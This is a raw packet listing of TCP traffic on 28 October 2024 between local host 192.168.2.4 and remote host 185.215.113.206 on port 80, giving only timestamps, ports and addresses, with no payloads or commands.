Oct 28, 2024 06:27:28.329950094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329960108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329972982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329984903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329988956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329998016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330001116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330013990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330024958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330028057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330043077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330054045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330070972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330094099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330240965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330343962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330354929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330364943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330375910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330387115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330390930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330405951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330416918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330420017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330430984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330430984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330442905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330460072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330461025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330466986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330471992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330482960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330491066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330492020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330503941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330514908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330518961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330544949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330559969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330720901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330733061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330743074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330758095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330769062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330770016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330780983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.330791950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.330813885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.367624998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367643118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367660999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367672920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367682934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367700100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367712975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367722034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367739916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367752075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367760897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367769003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.367770910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367783070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367794037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367811918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367824078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367836952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367836952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.367866039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.367885113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.367903948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367914915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367925882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367937088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.367969036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.367985964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.368122101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368133068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368143082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368153095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368165016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368170977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.368176937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368199110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.368213892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.368282080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368357897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368369102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368393898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.368423939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.368442059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.443423986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443455935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443475962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443489075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443497896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.443500996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443511963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443527937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.443528891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443542004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443552017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443563938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443576097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443583012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.443588018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443604946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.443605900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.443628073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.443645000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444267035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444302082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444314003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444314957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444349051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444377899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444389105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444401026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444411039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444422007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444427013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444446087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444461107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444592953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444612026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444622040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444644928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444659948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444664001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444674015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444675922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444686890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444710970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444739103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444902897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444941044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444952011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.444952011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444983006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.444992065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445070028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445080996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445095062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445111036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445120096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445123911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445137978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445147991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445164919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445188046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445199966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445203066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445245028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445271969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445283890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445295095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445307016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445317984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445333958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445343018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445346117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445354939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445365906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445378065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445389986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445411921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445420027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445431948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445436954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445476055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445530891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445547104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445558071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445568085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445570946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445574045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445585012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.445609093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.445650101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449161053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449172974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449184895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449217081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449227095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449238062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449249029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449250937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449270964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449276924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449286938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449299097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449311972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449322939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449326038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449342012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449373007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449451923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449462891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449480057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449491024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449503899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449505091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449513912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449515104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449551105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449583054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449631929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449642897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449678898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449685097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449771881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449784040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449795008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449806929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449816942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449817896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449830055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449841976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449841976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449867964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449867964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449878931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449889898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449893951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449923992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.449950933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449961901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449971914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449982882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.449996948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450006962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450009108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450021982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450043917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450053930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450056076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450064898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450083971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450100899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450256109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450310946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450321913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450331926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450356007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450361013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450368881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450380087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450383902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450412989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450416088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450423956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450433969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450468063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450633049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450644970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450654984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450661898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450671911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450681925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450684071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450706959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450733900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450733900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450745106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450779915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450788021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450790882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450809002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450820923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450824022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450826883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450836897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450849056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450858116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450859070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450885057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450894117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.450948000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450959921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450972080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450983047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450998068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.450999975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451009035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451024055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451035023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451035023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451040983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451059103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451067924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451077938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451097012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451107979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451117992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451118946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451158047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451170921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451181889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451191902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.451214075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.451226950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.487859011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.487870932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.487881899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.487891912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.487955093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.487972975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.487998009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.487998009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.488034010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.488044977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.580339909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.585834026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865041018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865084887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865099907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865123987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865139961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865147114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865185022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865185022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865206003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865221977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865236044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865247965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865258932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865276098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865277052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865288019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865303993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865303993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865333080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865359068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865360022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865396976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865467072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865483046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865497112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865510941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865513086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865526915 CET	80	49758	185.215.113.206	192.168.2.4
